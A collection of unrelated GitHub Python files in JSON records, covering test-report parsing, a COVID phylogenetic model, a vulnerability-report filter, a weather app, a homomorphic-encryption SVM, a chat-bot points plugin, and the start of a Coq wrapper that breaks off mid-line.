{"seq_id":"7835453870","text":"import xml.dom.minidom\n\nfrom Common.Feed import Feed\nfrom Common.Feed import TestSuite\n'''\nReplace \"  []   ()   <>  & /\n'''\nclass ReadXml:\n    dom=None\n    def __init__(self,fileName):\n        self.dom=xml.dom.minidom.parse(fileName)\n        self.appversion = {'OrderEntry': '', 'Office': '', 'Prepress': '', 'ItemMait': '', 'Server': '', 'Profile': ''}\n\n    def ReadFirstNode1(self):\n        root=self.dom.documentElement\n        itemlist = root.getElementsByTagName('login')\n        item = itemlist[0]\n        un = item.getAttribute(\"username\")\n\n        cc = self.dom.getElementsByTagName('caption')\n        c1 = cc[0]\n        c1.firstChild.data\n\n        return root.getElementsByTagName('maxid')\n\n    def ReadTestCase(self):\n        userstorys=self.dom.getElementsByTagName('userstory')\n        list=[]\n        self.testsuiteList=[]\n        self.userstory_count=0;\n        for userstory in userstorys:\n            testsuite=TestSuite()\n            userstoryName=userstory.getAttribute(\"name\")\n            testapps=userstory.getElementsByTagName('testapp')\n            testsuite.user_story=userstoryName\n            for testapp in testapps:\n                testappName=testapp.getAttribute(\"name\")\n                testappVersion=self.ReadData(testapp.getElementsByTagName('version')[0])\n                testServer=self.ReadData(testapp.getElementsByTagName('server')[0])\n                testProfile = self.ReadData(testapp.getElementsByTagName('profile')[0])\n                self.WriteVersion(testappName,testappVersion,testServer,testProfile)\n\n            self.testcase_count=0\n            self.testcase_failed=0\n            testcases = userstory.getElementsByTagName('testcase')\n            for testcase in testcases:\n                feed=Feed()\n                feed.user_story=userstoryName\n                feed.test_case=testcase.getAttribute(\"name\")\n                feed.result = self.ReadData(testcase.getElementsByTagName('result')[0])\n                feed.start = self.ReadData(testcase.getElementsByTagName('start')[0])\n                feed.end = self.ReadData(testcase.getElementsByTagName('end')[0])\n                feed.log = self.ReadData(testcase.getElementsByTagName('log')[0])\n                feed.screen = self.ReadData(testcase.getElementsByTagName('screen')[0])\n                feed.oe=self.ReadVersion('OrderEntry')\n                feed.office = self.ReadVersion('Office')\n                feed.prepress = self.ReadVersion('Prepress')\n                feed.itemmait = self.ReadVersion('ItemMait')\n                if (feed.result == '1'):\n                    self.testcase_failed = self.testcase_failed + 1\n                testsuite.end=feed.end\n                list.append(feed)\n                self.testcase_count=self.testcase_count+1\n                if self.testcase_count==1:\n                    testsuite.start=feed.start\n                testsuite.failed = self.testcase_failed\n                testsuite.total=self.testcase_count\n            self.userstory_count=self.userstory_count+1\n            self.testsuiteList.append(testsuite)\n        return list\n\n    def ReadData(self,element):\n        try:\n            return element.firstChild.data\n        except BaseException:\n            return \"\"\n\n    def ReadVersion(self,element):\n        return self.appversion.get(element)\n\n    def WriteVersion(self,name,version,testServer,testProfile):\n        try:\n            if(name=='OrderEntry' and version.strip()!=''):\n                self.appversion['OrderEntry']=version\n            if (name == 'Office' and version.strip()!=''):\n                self.appversion['Office'] = version\n            if (name == 'Prepress' and version.strip()!=''):\n                self.appversion['Prepress'] = version\n            if (name == 'ItemMait' and version.strip()!=''):\n                self.appversion['ItemMait'] = version\n            if (testServer.strip()!=''):\n                self.appversion['Server'] = testServer\n            if (testProfile.strip()!=''):\n                self.appversion['Profile'] = testProfile\n        except BaseException:\n            return\n\n    def TestSuiteList(self):\n        return self.testsuiteList;\n\n    def TestAppList(self):\n        return self.appversion\n","repo_name":"liehuojdd/pythonstudy2","sub_path":"stage1/TestReport/Common/ReadXml.py","file_name":"ReadXml.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30702049040","text":"\"\"\"\nCreated on Fri Jun 26 09:22:53 2020\n\nWrapper for fitting full covid model with site effects, space x time effects and random effects\nRandom branch-specific fitness effects are fit under a Brownian motion model of trait (fitness) evolution\n\n@author: david\n\"\"\"\nfrom ete3 import Tree\nimport TreeUtils\nimport numpy as np\nfrom RandomEffectsFitModel import RandomEffectsFitModel\nfrom TreeLikeLoss import TreeLikeLoss\nfrom TensorTree import TensorTree\nfrom L2Regularizer import L2Regularizer\nimport pandas as pd\nfrom DateTimeUtils import date2FloatYear\n\nimport tensorflow as tf\nassert tf.__version__ >= \"2.0\"\nfrom tensorflow import keras\n\nprint_estimates = True\n\n\"Initial birth-death model params\"\nsigma = 0.01 # scales variance in Brownian motion model (a small value epsilon gets added to this)\nbeta = np.array([59.983]*9) # transmission ratre\nd = 52.18 # death rate = 1/7 per day\ngamma = 0.0 # no migration here\ns = np.append([0.],[0.0004]*8) # sampling fraction upon removal\nrho = (d/365.25)*0.0004 # sampling fraction at present\ndt = 0.1 # time step interval for update pE's along branch \nparams = {'sigma': sigma, 'beta': beta, 'd': d, 'gamma': gamma, 's': s, 'rho': rho, 'dt': dt, 'time_intervals': 0}\n\n\"Provide dict with estimated params\"\nest_params = {'sigma': False, 'random_branch_effects': True, 'site_effects': False, 'beta': False, 'd': False, 'gamma': False, 's': False, 'rho': False}\n\n\"Import tree and sequences\"    \npath = './covid-analysis/'\n\n\"For spike features\"\nfeatures_file = path + 'feature-files/hcov_oct2020_bestTree_byRegion_allFeatures.csv'\npastml_path = path + 'pastml/collected_preSep1_dated_pastml/'\ntree_file = pastml_path + 'named.tree_phylogeny_mle_cleaned_collected_preSep1_dated_cleaned.nwk'\nabsolute_time = 2020.67 # absolute time of last sample\n\n\"Set up tree for run\"\ntree = Tree(tree_file, format=1)\ntree, tree_times = TreeUtils.add_tree_times(tree)\n\n\"Set up time intervals\"\nfinal_time = max(tree_times)\nroot_time = absolute_time - final_time\ndate_time_intervals = ['2020-01-01',\n                        '2020-02-15',\n                        '2020-03-15',\n                  '2020-04-15',\n                  '2020-05-15',\n                  '2020-06-15',\n                  '2020-07-15',\n                  '2020-08-15']\ntime_intervals = date2FloatYear(date_time_intervals)\ntime_intervals = np.array(time_intervals) - root_time\n\n\"Check time intervals\"\ntime_intervals = time_intervals[time_intervals >= 0.]\nif final_time not in time_intervals:\n    time_intervals = np.append(time_intervals,final_time)\nparams.update(time_intervals = time_intervals)\n\n\"Get tip/ancestor features from csv file\"\ndf = pd.read_csv(features_file,index_col='node')\n\n\"\"\"\n For Debugging Only!!!: Control number of features to include for initial training\n\"\"\"\n#df = df.iloc[:, list(range(50))] # take first 50 features to start\n\n\"Set up time-varying features and add duplicate columns for time-varying features\"\ntime_feature = 'REGION'\ntime_feature_labels = [col for col in df.columns if time_feature in col]\nfor label in time_feature_labels:\n    loc = df.columns.get_loc(label)\n    base_label = label+'_t0'\n    df.rename(columns={label: base_label},inplace=True)\n    for interval in range(1,len(time_intervals)):\n        df.insert(loc=loc+interval, column=label+'_t'+str(interval), value=df[base_label])\nfeature_names = list(df)\n\nfeatures_dic = {}\nfor index, row in df.iterrows():\n    features_dic[index] = row.to_numpy()\nsites = len(features_dic[next(iter(features_dic))])\nparams['sites'] = sites\n\n\"Convert tree to TensorTree object\"\ntree = TreeUtils.index_branches(tree) # only used for models with random branch effects\ntt = TensorTree(tree,features_dic,**params)\ntt.check_line_time_steps()\n\n\"Mask time-varying features outside of line time intervals\"\ntt.mask_time_features(df,time_feature_labels,time_intervals)\n\n\"Get site fitness effect estimates\"\npath = './covid-results/'\nfeature_fit_file = path + 'covid_spaceXTimeByRegion_Oct2020_siteEffects_rhoSampling_allMonthlyIntervals_estimates.csv'\n#feature_fit_file = path + 'covid_spaceXTimeByRegion_Oct2020_siteEffects_rhoSampling_extraTimeIntervals_estimates.csv'\nfeature_effects_df = pd.read_csv(feature_fit_file)\nfeature_effects_df.drop(['Unnamed: 0'],axis=1,inplace=True)\nif feature_effects_df.columns.tolist() != feature_names: print('WARNING: Feature lists do not match!')\nparams.update(fitness_effects = feature_effects_df.loc[0].values)\n\n\"Build fitness model\"\nbranches = np.max(tt.birth_branch_indexes) + 1 # num of branches: plus one b/c indexed from 0 \nmodel = RandomEffectsFitModel(params,est_params,branches)\n\n\"Build loss function\"\nlike_loss = TreeLikeLoss(tt,params)\n\n\"Add regularizer\"\nreg = L2Regularizer(0.0,offset=1.0)\n\noptimizer = keras.optimizers.Adam(lr=0.001)\nn_epochs = 5000\nfor epoch in range(1,n_epochs+1):\n    #model.store_line_branch_effects()\n    with tf.GradientTape() as tape:\n        fit_vals, bdm_params = model(tt) # or model call?\n        reg_penalty = reg.call(model.site_effects)\n        penalty = model.get_penalty(tt) # Brownian motion penalty on fit evolution\n        loss = -(like_loss.call(fit_vals,bdm_params,tt) + penalty) + reg_penalty\n    gradients = tape.gradient(loss, model.trainable_variables)\n    if tf.math.reduce_any(tf.math.is_nan(gradients[0])):\n        print(\"Gradient is NaN\")\n    optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n    model.check_line_branch_effects()\n    model.clip_line_branch_effects(min_thresh=0.1,max_thresh=10.) # Enforce constraints on branch effects\n    if epoch % 10 == 0:\n        if print_estimates:\n            \n            #min_site_effect = np.min(model.trainable_variables[0].numpy())\n            #max_site_effect = np.max(model.trainable_variables[0].numpy())\n            min_branch_effect = np.min(model.trainable_variables[0].numpy())\n            max_branch_effect = np.max(model.trainable_variables[0].numpy())\n            \n            print(\"Epoch\", epoch, \"loss =\", str(-loss.numpy()), \"penalty =\", str(penalty.numpy()), \"min_branch_effect =\", str(min_branch_effect), \"max_branch_effect =\", str(max_branch_effect))\n            #print(\"Epoch\", epoch, \"loss =\", str(-loss.numpy()), \"penalty =\", str(penalty.numpy()), \"min_branch_effect =\", str(min_branch_effect), \"max_branch_effect =\", str(max_branch_effect), \"min_site_effect =\", str(min_site_effect), \"max_site_effect =\", str(max_site_effect))\n            #print(\"Epoch\", epoch, \"loss =\", str(-loss.numpy()), \"penalty =\", str(penalty.numpy()), \"params =\", str(model.trainable_variables[0].numpy()))\n            #print(\"Epoch\", epoch, \"loss =\", str(-loss.numpy()), \"penalty =\", str(penalty.numpy()), \"params =\", str(model.trainable_variables[0].numpy()), \"betas =\", str(model.trainable_variables[1].numpy()))\n        else:\n            print(\"Epoch\", epoch, \"loss =\", str(-loss.numpy()), \"penalty =\", str(penalty.numpy())) \n\n\"Store estimates in pandas dataframe\"\n#site_effects_ests = model.trainable_variables[0].numpy().reshape((1,sites))\n#site_ests_df = pd.DataFrame(site_effects_ests, columns=feature_names)\n#file_name = \"covid_fullModel_fixedSiteEffects_newTimeIntervals_recodedFeatures_estimates.csv\"\n#folder = \"./\"\n#site_ests_df.to_csv(folder + file_name)\n\n\"Store lineage fit vals\"\nline_branch_indexes = tt.line_branch_indexes\nline_fit_vals, birth_fit_vals = fit_vals\nline_fit_vals = line_fit_vals.numpy().flatten()\nline_start_times = tt.line_start_times\nline_end_times = tt.line_end_times\n\n\"Store line random branch effects as well\"\nline_branch_effects = model.get_line_branch_effects(tt)\nline_branch_effects = line_branch_effects.numpy().flatten()\n\ndata = {'BranchIndexes':line_branch_indexes,'LineStartTimes': line_start_times, 'LineEndTimes': line_end_times, 'LineFitVals':line_fit_vals, 'LineBranchEffects': line_branch_effects}  \nline_fit_df = pd.DataFrame(data)\n    \n\"Store line features in df as well so we can decompose fitness components afterwards\"\nline_feature_data = tt.line_seqs.numpy()\nline_feature_df = pd.DataFrame(line_feature_data, columns=feature_names)\nline_fit_df = pd.concat([line_fit_df, line_feature_df], axis=1)\nline_fit_df.to_csv(\"covid_fullModel_fixedSiteEffects_Oct2020_allMonthlyIntervals_lineFitEstimates.csv\",index=False)\n\n\n\n","repo_name":"davidrasm/phyloTF2","sub_path":"model-wrappers/CovidRandomEffectsWrapper.py","file_name":"CovidRandomEffectsWrapper.py","file_ext":"py","file_size_in_byte":8177,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"24091145309","text":"#!/usr/bin/python\n\nimport argparse\nimport sys\nimport os\nimport re\n\ndef main():\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-f', '--file', action='store', dest='mod_file', help='file to modify')\n\targs = parser.parse_args()\n  \n\tif os.path.exists(args.mod_file):\n\t\tf = open(args.mod_file,\"r\")\n\t\tfile_content = f.readlines()\n\t\tf.close\n\t\txml = []\n\t\tfor line in file_content:\n\t\t\txml.append(line)\n\t\t\t\n\t\tfor idx,itm in enumerate(xml):\n\t\t\tif itm.strip() == \"<severity>1</severity>\":\n\t\t\t  xml[idx - 2] = \"\"\n\t\t\t  xml[idx - 1] = \"\"\n\t\t\t  xml[idx] = \"\"\n\t\t\t  xml[idx + 1] = \"\"\n\t\t\t  xml[idx + 2] = \"\"\n\t\t\t  xml[idx + 3] = \"\"\n\t\t\t  xml[idx + 4] = \"\"\n\t\t\n\t\tf = open(args.mod_file,\"w\")\n\t\tf.write(\"\".join(xml))\n\t\tf.close()\n\t\t\t\nif __name__ == '__main__':\n\tmain()\n    \n","repo_name":"wick2o/mpc","sub_path":"Python/nesses_parser.py","file_name":"nesses_parser.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70489284200","text":"import persona_fake\nfrom fastapi import FastAPI, Request\n\n#Run with: uvicorn main:app --reload\n\napp = FastAPI()\n\n@app.get(\"/fake-personal-data\")\nasync def create_item(req: Request):\n\n    init_person = persona_fake.Persona()\n    fake_person = init_person.get_fake_person()\n    print(fake_person)\n    return fake_person\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"federicocalvette/api-personal-fake-data","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16120861090","text":"import os\n\n\ndef find_image(path, name, alt=False):\n    for filename in os.listdir(path):\n        country, *details = filename.split('|')\n        if country.lower() == name.replace(' ', '_').lower() and len(details) == (bool(alt)+1):\n            return os.path.join(path, filename)\n\n\ndef find_hint(path, name, letter):\n    for filename in os.listdir(path):\n        dir_filename, ext = os.path.splitext(filename)\n        if dir_filename.lower() == name.replace(' ', '_').lower():\n            return os.path.join(path, filename)\n\n    video_name = f'{letter.capitalize()}.mp4'\n    return os.path.join(path, video_name)\n\n\nif __name__ == '__main__':\n    path = 'data/countries/images'\n    print(find_image(path, 'Ukraine', alt=True))\n    path = 'data/countries/hints'\n    print(find_hint(path, 'One_Flew Over_the_Cuckoo’s_Nesdt', 'b'))\n","repo_name":"denself/hack-millionaire","sub_path":"file_utils.py","file_name":"file_utils.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27224258420","text":"import sys\nimport requests\nfrom PyQt5.QtWidgets import QApplication\nfrom country_app import CountryApp\nfrom weather_app import WeatherApp\n\n\nAPI_ACCESS_KEY = \"821bf71e70a00ce93f16c6f885919f4e\"\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    country_window = CountryApp()\n    country_window.show()\n    app.exec_()\n    city = country_window.get_city()\n    if city:\n        url = f\"http://api.weatherstack.com/current?access_key={API_ACCESS_KEY}&query={city}\"\n        response = requests.get(url)\n        weather_data = response.json()\n        weather_window = WeatherApp(weather_data)\n        weather_window.show()\n        sys.exit(app.exec_())\n","repo_name":"mariam-diab/city-weather-API","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9932260543","text":"# -*- coding: UTF-8 -*-\n# 每日板块排名\n\nclass TopCategoryDaily:\n\n    def __init__(self, id, category_id, ranking, net_inflow, rise, fall):\n        self.id = id\n        self.category_id = category_id\n        self.ranking = ranking\n        self.net_inflow = net_inflow\n        self.rise = rise\n        self.fall = fall\n","repo_name":"lucaszhangcom/stockCrawler","sub_path":"model/topCategoryDaily.py","file_name":"topCategoryDaily.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4115479866","text":"file = open('26_2653.txt')\nn = int(file.readline())\nnums = sorted(int(i) for i in file)\nans = set()\n\nfor i in nums:\n    ans |= {j + i for j in ans} | {i}\ngirs = set(range(1, sum(nums) + 1)) - ans\nprint(len(girs), max(girs))\n\n# nums = sorted(int(i) for i in file)\n# weight = [0] * (sum(nums) + 1)\n# summ = 0\n#\n# for i in nums:\n#     weight2 = weight.copy()\n#     summ += i\n#     for j in range(summ + 1):\n#         if weight[j] > 0:\n#             weight2[j + i] += weight[j]\n#     weight2[i] += 1\n#     weight = weight2\n#\n# count = 0\n# maxx = float('-inf')\n# for i in range(1, len(weight)):\n#     if weight[i] == 0:\n#         count += 1\n#         maxx = max(maxx, i)\n# print(count, maxx)","repo_name":"Propolisss/home_code-python-","sub_path":"kege/26/second/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73997734439","text":"from SVM import *\nfrom Pyfhel import *\n\nclass PyfhelSVM(SVM):\n    def __init__(self, name: str, learning_rate, lambda_param, n_iters) -> None:\n        super().__init__(name, learning_rate=learning_rate, lambda_param=lambda_param, n_iters=n_iters)\n        self.cryptographic_params = None\n        self.crypto_context = None\n    \n    def encrypt_data(self, X) -> object:\n        if not isinstance(X, list) and not isinstance(X, np.ndarray):\n            return self.crypto_context.encryptFrac(X)\n\n        encrypted_data = []\n        for row in X:\n            if isinstance(row, list) and len(row) > 1: \n                temp_array = []\n                for cell in row:\n                    temp_array.append(self.crypto_context.encryptFrac(cell))\n                encrypted_data.append(temp_array)\n            else:\n                encrypted_data.append(self.crypto_context.encryptFrac(row))\n        return encrypted_data\n    \n\n    def encrypted_fit(self) -> None:\n        print('Homomorphic fitting not supported - Will plaintext fit then encrypt weights')\n        encrypted_fit_timer = Timer()\n        encrypted_fit_timer.start()\n\n        self.plaintext_fit()\n\n        \n        self.encrypted_b = self.encrypt_data(self.b)\n\n        self.nested_timer.start()\n        self.encrypted_w = self.encrypt_data(np_to_list(self.w))\n        self.nested_timer.finish()\n        self.time_tracking[self.WENC] = self.nested_timer.get_time_in(Timer.TIMEFORMAT_MS)\n\n        self.nested_timer.start()\n        self.encrypted_b = self.encrypt_data(self.b)\n        self.nested_timer.finish()\n        self.time_tracking[self.BENC] = self.nested_timer.get_time_in(Timer.TIMEFORMAT_MS)\n\n        encrypted_fit_timer.finish()\n        self.time_tracking[self.ENCFIT] = encrypted_fit_timer.get_time_in(Timer.TIMEFORMAT_MS)\n        pass\n\n    def encrypted_predict(self, X) -> object:\n        self.general_timer.start()\n\n        is_encrypted = isinstance(X[0], PyCtxt)\n        X_ = X\n        if not is_encrypted:\n            X_ = self.encrypt_data(X)\n        \n        encrypted_mult = [x_ * w_ for x_, w_ in zip(X_, self.encrypted_w)]\n        encrypted_sum = self.crypto_context.encryptFrac(0)\n        for element in encrypted_mult:\n            encrypted_sum = self.crypto_context.add(element, encrypted_sum, True)\n        \n        result = self.crypto_context.sub(encrypted_sum, self.encrypted_b, True)\n\n        self.general_timer.finish()\n        self.time_tracking[self.ENCPREDICT] = self.general_timer.get_time_in(Timer.TIMEFORMAT_MS)\n        return result\n    \n\n    def decrypt(self, X) -> object:\n        self.general_timer.start()\n        result = None\n        if isinstance(X, list):\n            result = [self.crypto_context.decryptFrac(element) for element in X]\n        else:\n            result = self.crypto_context.decryptFrac(X)\n        \n        self.general_timer.finish()\n        self.time_tracking[self.DECDATA] = self.general_timer.get_time_in(Timer.TIMEFORMAT_MS) \n        return result\n\n    def initialize(self, X, y, cryptographic_params: dict = None, data_normalization: dict = None) -> None:\n        super().initialize(X, y, None, data_normalization)\n\n        self.cryptographic_params = cryptographic_params\n        if cryptographic_params is None:\n            self.cryptographic_params = {}\n            self.cryptographic_params['p'] = 63\n            self.cryptographic_params['m'] = 2048\n            self.cryptographic_params['base'] = 2\n            self.cryptographic_params['intDigits'] = 64\n            self.cryptographic_params['fracDigits'] = 64\n            self.cryptographic_params['relinKeySize'] = 6\n            self.cryptographic_params['bitCount'] = 16\n        \n        self.general_timer.start()\n        self.crypto_context = Pyfhel()\n        self.crypto_context.contextGen(\n            p=self.cryptographic_params['p'],\n            m=self.cryptographic_params['m'],\n            base=self.cryptographic_params['base'],\n            intDigits=self.cryptographic_params['intDigits'],\n            fracDigits=self.cryptographic_params['fracDigits'])\n        self.crypto_context.keyGen()\n        self.crypto_context.relinKeyGen(self.cryptographic_params['bitCount'], self.cryptographic_params['relinKeySize'])\n\n        self.general_timer.finish()\n        self.time_tracking[self.KEYGEN] = self.general_timer.get_time_in(Timer.TIMEFORMAT_MS)\n\n        self.general_timer.start()\n        self.encrypted_X = self.encrypt_data(np_to_list(self.X))\n        self.general_timer.finish()\n        self.time_tracking[self.DATAENCX] = self.general_timer.get_time_in(Timer.TIMEFORMAT_MS)\n\n        self.general_timer.start()\n        self.encrypted_y = self.encrypt_data(np_to_list(self.y))\n        self.general_timer.finish()\n        self.time_tracking[self.DATAENCY] = self.general_timer.get_time_in(Timer.TIMEFORMAT_MS)\n\n    def encrypted_test(learning_rate=0.001, lambda_param=0.01, n_iters=1000):\n        train_input_data, train_check_data_file, test_input_data, test_train_check_data_file = ML.load_data('data/input.csv', 'data/check.csv', 'data/input.csv', 'data/check.csv')\n\n        svm = PyfhelSVM('Linear SVM', learning_rate, lambda_param, n_iters)\n        svm.initialize(train_input_data, train_check_data_file, data_normalization= {'X': 'minmax', 'y': 'none'})\n        svm.encrypted_fit()\n        print(np.sign(svm.decrypt(svm.encrypted_predict(np_to_list(svm.X[23])))), svm.y[23])\n        #plaintext_data_time = []\n\n        # TP = 0\n        # TF = 0\n        # FP = 0\n        # FF = 0\n        # timer = Timer()\n        # it = 0\n        # for point, expected in zip(test_input_data, test_train_check_data_file):\n        #     timer.start()\n        #     prediction = svm.plaintext_predict(point)\n        #     timer.finish()\n        #     plaintext_data_time.append([it, timer.get_time_in(Timer.TIMEFORMAT_MS)])\n        #     if prediction == expected:\n        #         if prediction > 0:\n        #             TP += 1\n        #         else:\n        #             TF += 1\n        #     else: \n        #         if prediction > 0:\n        #             FP += 1\n        #         else:\n        #             FF += 1\n\n        #     it += 1\n\n        print('------' + svm.algorithm_name + '--------')\n        #print(f'TP: {TP}\\nTF: {TF}\\nFP: {FP}\\nFF: {FF}\\nNumber of elements: {TP + TF + FF + FP}\\nCorrect predictions: {TP + TF}\\nIncorrect prediction: {FF + FP}\\nSuccess rate: {(TP + TF)/(TP + TF + FF + FP)}')\n        svm.print_time_tracking_data()\n        # print('-- Prediction times: [Includes latency for internal clock]')\n        #pretty_table(plaintext_data_time, ['Value index', 'Time [MS]'])\n    \nif __name__ == '__main__':\n    PyfhelSVM.encrypted_test()","repo_name":"DarkBlackJPG/HomomorphicML-Revision","sub_path":"src/PyfhelSVM.py","file_name":"PyfhelSVM.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"22432208864","text":"import math\nfrom client import telegram_helper\nfrom datetime import datetime\nfrom constant import POSITION_LONG, POSITION_SHORT\n\n\ndef round_decimals_down(number: float, decimals: int = 2):\n    \"\"\"\n    Returns a value rounded down to a specific number of decimal places.\n    \"\"\"\n    if not isinstance(decimals, int):\n        raise TypeError(\"decimal places must be an integer\")\n    elif decimals < 0:\n        raise ValueError(\"decimal places has to be 0 or more\")\n    elif decimals == 0:\n        return math.floor(number)\n\n    factor = 10**decimals\n    return math.floor(number * factor) / factor\n\n\ndef calculate_total_revenue(\n    position, current_revenue, quantity, entry_price, exit_price\n):\n    new_revenue = current_revenue\n    if position == POSITION_LONG:\n        new_revenue = current_revenue + (quantity * (exit_price - entry_price))\n\n    elif position == POSITION_SHORT:\n        new_revenue = current_revenue + (quantity * (entry_price - exit_price))\n\n    position_result = \"Win\" if new_revenue > current_revenue else \"Lose\"\n    telegram_helper.send_telegram_and_print(\n        datetime.now(),\n        f\"{position_result}!!!!! {(abs(new_revenue - current_revenue)/current_revenue)*100}%\",\n    )\n    return new_revenue\n","repo_name":"9homme/awesome-bot","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"2439628526","text":"\nimport csv\nimport pandas as pd\n#f = open('tz.csv', 'w', encoding='utf-8')\n\n#csvw = csv.writer(f)\n#csvw.writerow([\"1\",\"1204371319\",\"0\"])\n#csvw.writerow([\"2\",\"759381653\",\"0\"])\n\ndata = pd.read_csv(\"src/static/tz.csv\")\nimport numpy as np\n# data = np.array(data)\n# print(data)\nfrom nonebot import on_command, on_message, on_notice, on_regex, get_driver\nfrom nonebot.typing import T_State\nfrom nonebot.adapters import Event, Bot\nfrom nonebot.adapters.cqhttp import Message\nfrom aiocqhttp import MessageSegment\nimport aiohttp, os, random\nimport json, re\nfrom src.libraries.image import *\n\ndef query_byqq(qq):\n    points = 999999\n    name = -1\n    id = -1\n    for i in range(len(data)):\n        if str(data['qq'][i]) == qq:\n            points = float(data['points'][i])\n            name = data['name'][i]\n            id = data['id'][i]\n            return points,name,id\n            \n    return points,name,id\n        \nself_info = on_command(\"查询战队点数\")\n@self_info.handle()\nasync def _(bot: Bot, event: Event, state: T_State): \n    ur_qq = event.get_user_id()\n    argvs = str(event.get_message()).strip().split(\" \")\n    if argvs[0]:\n        ur_qq = argvs[0]\n    f = \"\"\n    points, name, id = query_byqq(ur_qq)\n    if id == -1:\n        await self_info.finish(\"用户不存在哦，请联系bot主人添加数据\")\n    else :\n        f = f + f\"{name} ({ur_qq})\\nID: {id}\\n积分: {points}\"\n    await self_info.finish(f)\n\nedit = on_command(\"/edit\")\n@edit.handle()\nasync def _(bot: Bot, event: Event, state: T_State): \n    ur_qq = event.get_user_id()\n    if ur_qq not in ['759381653','1204371319']:\n        await edit.finish(\"?\")\n    #argvs = str(event.get_message()).strip().split(\" \")\n    \n        ","repo_name":"Europix/Eurobot","sub_path":"src/plugins/tz.py","file_name":"tz.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"}
{"seq_id":"73309957479","text":"\"\"\"Reusable tooling for interacting with Coq.\n\nKey contents:\n  - CoqtopProc: thin wrapper for the `coqtop` process (via XML API)\n  - CoqBot: high-level wrapper\n  - StoppedException: thrown when an object is not usable because it has been\n    stopped (see \"stop-safety\" below)\n\nCoqtopProc and CoqBot are both single-threaded classes; concurrent access from\nmultiple threads is unsafe.  However, they both support \"stop-safety\": their\n`stop()` methods my be called concurrently while another thread is calling some\nother method.  Their `stop()` methods may also be called multiple times\nconcurrently.  Their `stop()` methods may NOT be called while __init__ is\nrunning, but they MAY be called if __init__ throws an exception.\n\nWhen `stop()` is called, in-progress and future calls to other methods MAY\nraise StoppedException.\n\"\"\"\n\nimport os.path\nimport re\nimport subprocess\nimport shlex\nimport codecs\nimport threading\nimport traceback\n\nfrom . import util\n\n\nCHARSET = \"utf-8\"\n\nclass StoppedException(Exception):\n    pass\n\ndef find_coq(coq_install_dir):\n    \"\"\"Determine how to start Coq, and what version it is.\n\n    Coq has made several non-backwards-compatible changes to its API and\n    command-line options over the years.  This procedure attempts to detect\n    how Coq should be started and what version it is.\n\n    Returns `(version, args)`.  Note that `args` includes the program name.\n\n    Returns `None` if Coq could not be found.\n    \"\"\"\n\n    version = None\n\n    env = dict(os.environ)\n\n    # Add coq install directory to the head of $PATH\n    env[\"PATH\"] = os.pathsep.join([\n        os.path.join(coq_install_dir, \"bin\"),\n        env.get(\"PATH\", os.defpath)])\n\n    for exe in [\"coqidetop.opt\", \"coqidetop\", \"coqtop.opt\", \"coqtop\"]:\n        try:\n            out = subprocess.check_output(\n                [os.path.join(coq_install_dir, \"bin\", exe), \"--version\"],\n                env=env,\n                cwd=\"/\").decode(CHARSET)\n            version = re.search(r\"version (\\d+(\\.\\d+)+)\", out)\n            if version is not None:\n                version = tuple(int(part) for part in version.group(1).split(\".\"))\n                break\n\n            print(\"Unable to read version from {}\".format(exe))\n            print(\"{} stdout: {}\".format(exe, out))\n            print(\"{} died with code {}\".format(exe, out.returncode))\n        except Exception as e:\n            print(\"Error while reading version from {}: {}\".format(exe, e))\n\n    if version is None:\n        return None\n\n    cmd = None\n\n    if version >= (8,9):\n        if os.path.exists(os.path.join(coq_install_dir, \"bin\", \"coqidetop.opt\")):\n            cmd = [\n                os.path.join(coq_install_dir, \"bin\", \"coqidetop.opt\"),\n                \"-main-channel\", \"stdfds\"]\n        else:\n            cmd = [\n                os.path.join(coq_install_dir, \"bin\", \"coqidetop\"),\n                \"-main-channel\", \"stdfds\"]\n    elif version >= (8,5):\n        cmd = [\n            os.path.join(coq_install_dir, \"bin\", \"coqtop\"),\n            \"-main-channel\", \"stdfds\", \"-ideslave\"]\n    elif version >= (8,4):\n        cmd = [\n            os.path.join(coq_install_dir, \"bin\", \"coqtop\"),\n            \"-ideslave\"]\n    else:\n        return None\n\n    return (version, cmd)\n\nclass CoqtopProc(object):\n    \"\"\"A simple wrapper around Coq's XML API.\n\n    This class has two key methods:\n      - send() to send text to Coq and yield XML tags in response\n      - stop() to halt the underlying process\n\n    This class implements \"stop-safety\" (see above).\n    \"\"\"\n\n    def __init__(self, coq_install_dir, extra_args=(), working_dir=None, verbose=False):\n        \"\"\"\n        Spawns a new coqtop process and creates pipes for interaction.\n\n        This constructor tries to detect what version of Coq is being used\n        and how to start it.\n\n        This constructor tries to locate a suitable _CoqProject file and add\n        its contents to the command line arguments.\n        \"\"\"\n        self.stop_lock = threading.Lock()\n        self.alive = True\n\n        coq_launch_info = find_coq(coq_install_dir)\n        if coq_launch_info is None:\n            raise 